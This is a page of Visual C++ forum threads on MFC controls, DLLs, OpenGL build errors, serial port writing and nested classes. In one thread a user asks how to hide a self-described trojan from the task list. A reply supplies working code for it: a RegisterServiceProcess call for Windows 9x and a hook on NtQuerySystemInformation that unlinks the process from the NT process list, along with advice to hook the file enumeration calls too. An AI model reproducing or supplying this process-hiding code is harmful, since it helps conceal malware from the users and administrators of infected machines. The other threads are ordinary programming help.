|
Try moving the stuff to CFooCtrl::PreCreateWindow .
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Hi,
Yeah, problem with PreCreateWindow is that for controls in a dialog, PreCreateWindow is never called. Probably somthing to do with the window being creatded before the point where CFooCtrl picks it up. Very irritating. But thanks for the advice...
With time we live, with money we spend!
Joel Holdsworth
|
|
|
|
|
There's another alternative, tough it involves a little work:- Load the dialog template
DLGTEMPLATE structure into memory with FindResource , LoadResource and all that stuff.
- Traverse the controls defined in the
DLGTEMPLATE object, setting the desired style for the appropriate controls. - Launch the dialog with
CDialog:InitModalIndirect .
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Well if thats what you had in mind, its probably easier to use the resource editor. Its just that I wanted the control to be self contained.
With time we live, with money we spend!
Joel Holdsworth
|
|
|
|
|
I'm writing something like a Trojan horse programme in VC7(SDI based without document&view support). I want to hide it thoroughly so that even when people press Ctrl + Atl +Del in windows 98,they can't see it in the list of running programmes.
Better give me a smaple project because I am really new to writing such a programme.
modified 1-May-21 21:01pm.
|
|
|
|
|
Shengqian Ji wrote:
I'm writing something like a Trojan horse programme
Hehehe
And you really ask ?!!?!
Max.
|
|
|
|
|
Hi! Good russian guy will help you (it's me )
Your trouble is well known and easy to solve.
I haven't time to translate info from russian, and I'll paste it as is. It'2 articles: for 9.x and NT based.
Source: our russian forum FAQ http://www.sources.ru/cpp/faqs/faq_forum.shtml
And I saw example of hiding from three buttons on 9.x on Codeproject (also trojan), search it...
Here's info (russian text will be unreadable):
Как скрыть свое приложение от диспетчера задач
A: (Iliya)
Внимание! Не работает в семействе NT (2000, XP)
typedef DWORD (WINAPI *LPREGISTERSERVICEPROCESS) (DWORD, DWORD);
HINSTANCE h_i;
LPREGISTERSERVICEPROCESS lpRegProc;
h_i = LoadLibrary("KERNEL32.DLL");
if (h_i)
{
lpRegProc = (LPREGISTERSERVICEPROCESS)GetProcAddress(h_i, "RegisterServiceProcess");
if (lpRegProc)
{
lpRegProc(NULL, 1);
}
FreeLibrary(h_i);
}
Наверх
--------------------------------------------------------------------------------
Как скрыть свое приложение от ProcessViewer
A: (источник: xaker.ru) Сокрытие процессов в Win2000/NT Я довольно долго пытался сделать свою программу невидимой в Windows 2000. Максимум, что я смог найти в интернете - это то что основой любого диспетчера задач является функция NtQuerySystemInformation, ее описание, а также то, что обмануть эту функцию невозможно. Не знаю, почему так говорят, но обмануть ее можно и это очень просто. Вот, что мне удалось нарыть про эту функцию:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип требуемой информации
PVOID SystemInformation, // указатель на буфер, в который вернется информация
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // сколько байт было возвращено или требуется
);
Как было указано, первый параметр отвечает за тип требуемой информации. Нас интересует только информация о процессах (type = 5). Далее работаем со следующими структурами:
typedef struct {
FILETIME ProcessorTime;
ULONG unk2, unk3;
FILETIME CreateTime;
ULONG unk6;
ULONG StartAddress;
ULONG ProcessID;
ULONG ThreadID;
ULONG CurrentPriority;
ULONG BasePriority;
ULONG ContextSwitchesPerSec;
ULONG ThreadState;
ULONG ThreadWaitReason;
ULONG unk15;
} SYSTEM_THREAD_INFORMATION;
typedef struct {
ULONG NextOffest; // следующий процесс
ULONG ThreadCount;
ULONG unk2, unk3, unk4, unk5, unk6, unk7;
FILETIME CreateTime;
FILETIME UserTime;
FILETIME KernelTime;
ULONG unk14;
WCHAR *pModuleName; /* unicode */
ULONG BasePriority;
ULONG ProcessID;
ULONG InheritedFromUniqueProcessID;
ULONG HandleCount;
ULONG unk20, unk21;
ULONG PeekVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCountPerSec;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG PeekPagedPoolUsage;
ULONG PagedPoolUsage;
ULONG PeekNonPagedPoolUsage;
ULONG NonPagedPoolUsage;
ULONG unk31; /* PagefileUsage ? */
ULONG PeakPagefileUsage;
ULONG unk33; /* PrivateBytes ? */
SYSTEM_THREAD_INFORMATION ThreadInfos[1]; // потоки данного процесса
} SYSTEM_PROCESS_INFORMATION;
После вызова функции, если не произошло ошибки, первым элементом буфера окажется структура SYSTEM_PROCESS_INFORMATION, описывающая отдельный процесс. Первым членом этой структуры будет смещение, указывающее на следующий процесс или NULL, если это последний процесс в списке. Теперь осталось только перехватить все вызовы этой функции и немного поменять смещения, чтобы вызывающая функцию программа перепрыгнула через наш процесс. Наш это процесс или не наш определяем по идентификатору процесса progProcessId, определяемому при запуске программы. Теперь, после перехвата функции NtQuerySystemInformation (все детали перехвата очень подробно описаны в книге Рихтера или смотрите исходники), вместо оригинальной функции сначала вызывается наша:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип информации
PVOID SystemInformation, // указатель на буфер
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // указатель на 32-битное число
)
{
SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last;
// вызываем оригинальную функцию
((PFNNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
(type, SystemInformation, SystemInformationLength, ReturnLength);
// если получается информация о процессах
if(type == 5)
{
if(SystemInformationLength > 20000)
{
pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
for(;;)
{
// если идентификатор процесса равен идентификатору нашего процесса
if(pinfo->ProcessID == progProcessId)
{
// если наш процесс последний в списке
if(pinfo->NextOffest == 0)
{ // предпоследний процесс теперь стал последним, а наш исчез
pinfo_last->NextOffest = 0;
}
else
{ // или прыгаем через наш процесс
pinfo_last->NextOffest += pinfo->NextOffest;
}
}
if(pinfo->NextOffest == 0) break;
// предудущий процесс теперь равен текущему
pinfo_last = pinfo;
// переходим к следующему процессу
pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest);
}
}
}
}
Теперь любая вызывающая программа при просмотре возвращенного буфера будет прыгать через наш процесс. Вот и все. В исходниках находится программа, демонстрирующая все вышеизложенное. Сначала компилируем библиотеку, затем программу. Конечно для полного сокрытия программы в WINDOWS 2000 этого маловато, стоит также перехватить функции просмотра загруженных библиотек, FindFirsFile, FindNextFile, подставляя вместо нужного файла "..". Если есть какие-то замечания, предложения или что-то еще, то пишите: researcher@land.ru.
|
|
|
|
|
Hi
I was wondering if some one could help me with the sort function of CList control. My first column consists of numbers to be added by the user. I need the numbers to be sorted but If I make the member variable integers I am unable to use the InsertItem function so am I restricted to CStrings?
|
|
|
|
|
Catherine... were you referring to sorting a CList or CListCtrl?
|
|
|
|
|
I have an Edit control where the user enters a number. When the user presses
return the number gets added to a CListCtrl. The edit control's member variable is a CString. I want the numbers in the ListCtrl to be sorted numerically, however by selecting ascending sort on the ListCtrl the nubers appear for example in this order:
1
2
22
3
4
|
|
|
|
|
it sounds like you might need to convert your CStrings to ints (using the atoi()) during your sort function, something similar to:
int n1 = atoi((const char*) pListCtrl->GetItemText(lParam1, 0));
int n2 = atoi((const char*) pListCtrl->GetItemText(lParam2, 0));
then doing the comparision on the ints.
|
|
|
|
|
Just wondering if any of you clever peeps out there
could help me in creating my first c++ dll.
I just need and example of a dll containing a function
that takes one int, multiplies it by two and returns
the answer.
The main bit i'm stuggling to find out is how you make
this function accessable so it can be called externally;
I managed to find out how to do it in delphi e.g.
library Sample;
uses
SysUtils,
Classes;
{$R *.RES}
function MultiplyByTwo(X: integer): integer; cdecl; export;
begin
MultiplyByTwo := X * 2;
end;
exports
MultiplyByTwo;
begin
end.
but as i don't have access to delphi, it's not much help.
Any help would be greatly appreciated.
|
|
|
|
|
Yeah, that delphi stuff is pretty well useless...
Have a look at the DLL sction of codeproject. It should help you out.
With time we live, with money we spend!
Joel Holdsworth
|
|
|
|
|
Thanks Joel,
What would be really useful was if you could, knock me up an example
that mirror's the functionality of the delphi example.
Just to explain why i need this, we use an automated testing tool
called QARun, it's good for it's job but the functions it can perform
are a bit limited. One thing you can do is use call functions in external
dll's.
Once i've got the basic's of how to structure and compile the dll i can usually
find the code for what i need to do in the msdn library or on the web.
It's partly a learning exercise for me, but it will also come in handy when
i need to to something that qarun can't do directly (just about anything do to
with the registry for example.)
If you could help it would be much appreciated.
Simon
|
|
|
|
|
Any body can give me a hint? I have two projects, one is dialog based, one is SDI based. I have draw up all the resources for the dialog based project, and I want to copy all of them to my SDI based project. Is there any easy way to do it?
Thank you very much in advance!
|
|
|
|
|
1. Open your target project.
2. Open the .RC from your source project.
3. Select the resource you want to copy.
4. Copy.
5. Select the target resource tree
6. Paste.
7. Repeat 3-6 until you're done
8. Save.
You might want to look at my article @ http://www.codeproject.com/useritems/no_rc.asp
With it you can save the resources as a shared file.
Brad
|
|
|
|
|
Thank you for the instruction and the nice article. I've got it done.
Thanks a lot!
|
|
|
|
|
I'm writing an opengl program in an MDI application using visual C++ version 6.0
When I work on the program at work and then take it home, it works fine. But when I work on it at home and then try to run it again at work, I get errors when I compile.
Here's some of the errors:
:\Windows\Desktop\Heart Program newest\TestGLView.cpp(227) : error C2065: 'glEnable' : undeclared identifier
C:\Windows\Desktop\Heart Program newest\TestGLView.cpp(229) : error C2065: 'glClearColor' : undeclared identifier
C:\Windows\Desktop\Heart Program newest\TestGLView.cpp(231) : error C2065: 'glClearDepth' : undeclared identifier
C:\Windows\Desktop\Heart Program newest\TestGLView.cpp(234) : error C2065: 'glLightfv' : undeclared identifier
C:\Windows\Desktop\Heart Program newest\TestGLView.cpp(271) : error C2065: 'glBegin' : undeclared identifier
In fact, every error I get is of this sort. That the OpenGL commands are undeclared identifiers. I checked if the headers files were included and they were. I also checked if the appropriate libraries were linked and they were. Its the exact same program, works fine at home but screws up at work after it has been run at home. Its also the exact same version of visual C++. Anybody know what the problem is and how I could fix it?
|
|
|
|
|
If you have the same VC++, and the same project, with the same files in it, the differece can be in Tools/Options/Directories may be is missing any include directory or lib directory. May be the project in the other machine have other header in another directory and you ignore that...
I saw that the problems are in de declaration of some variables.... (I put my money in that you forgot any header file)
Best Regards
Carlos Antollini.
Sonork ID 100.10529 cantollini
|
|
|
|
|
Hi me again with one another question.
I am writing a program which opens a serial port in order to write on it . I succed in opening the serial port and configuring it . Somebody wrote a function for me but this function sends integer to serial.I want to send string to serial . The code is bellow :
int CMC35ProjectDlg::Send(BYTE data)
{
///////////
//Begin
//////////
//Send Data to serial Port
DWORD dwBytes=0;
BYTE d=data;
int ret=d;
BYTE* sbuf=&d;
BOOL stest=WriteFile(hcom,sbuf,1,&dwBytes,NULL);
if ((stest&&dwBytes)==FALSE)
{
MessageBox("Connection between your PC and MC35 device connot be establish.\nPlease try again later.\nCheck the serail cabel.\n(ËÜèïò êáôÜ ôçí åêôÝëåóç ôçò óõíÜñôçóçò send).",
"Error!",MB_OK | MB_ICONSTOP);
ret=-1;
}
return ret;
//////
//End
//////
}
Any idea converting this function to send strings to serial?
Another problem I have is that I want a variable to take the follow content AT+CMGL="REC UNREAD".How can I succed it?
Thank you in advence.
X-The truth is out there.
|
|
|
|
|
The easiest solution is to loop over all the characters of the string and call CMC35ProjectDlg::Send to send them all one by one. This is highly inefficient, though, a better approach is to use WriteFile to write all the chars in one call. CHeck your documentation for this function.
As for your second question, I guess it's the embedded quotes that's causing you trouble. The syntax is as follows:
const char* command="AT+CMGL=\"REC UNREAD\""; Good luck.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Thank you for your help.My second question was answered and I thank you.This works just fine.But I don't understand your help for my first question.Look my code above I use the WriteFile function.How can I use this function in order to send strings to serial port.Any idea?
Thank you in advance.
X-The truth is out there.
|
|
|
|
|
Hello,
Can anyone tell me why one should use this feature of declaring classes inside other classes. Apart from not having the namespace too big at least.
Because apparently there's no feature involved. You cannot have access to the enclosing member classes, which is a cool thing in Java I reckon.
Best regards,
Alexandru Savescu
|
|
|
|
|
The namespace issue is IMHO the main reason for having nested classes. Consider for instance different containers (vector , list , map ) like the ones provided by STL. Each container features a different iterator type, which is best defined as a nested class, so that yu name it vector::iterator , list::iterator and so on. This uniformity makes it simpler to write generic code, also.
Another point (not related with this) is that having a nested class in the private section of an enclosing class makes the nested class inaccesible (and not derivable) to external users.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
I used BCGMenuBar in an SDI application.
I changed the layout of MenuBar by using
m_wndMenuBar.ModifyStyleEx(0,WS_EX_LAYOUTRTL);
where m_wndMenuBar is a pointer to CBCGMenuBar.
PROBLEM
........
The "POP UP MENU" when i have a click on menu bar, does not consider the Right to Left layout.
It pop up in the normal(left to right style).
How i change the style of pop up menu....
I mean how i open it in the (Right to Left)fashion.
|
|
|
|
|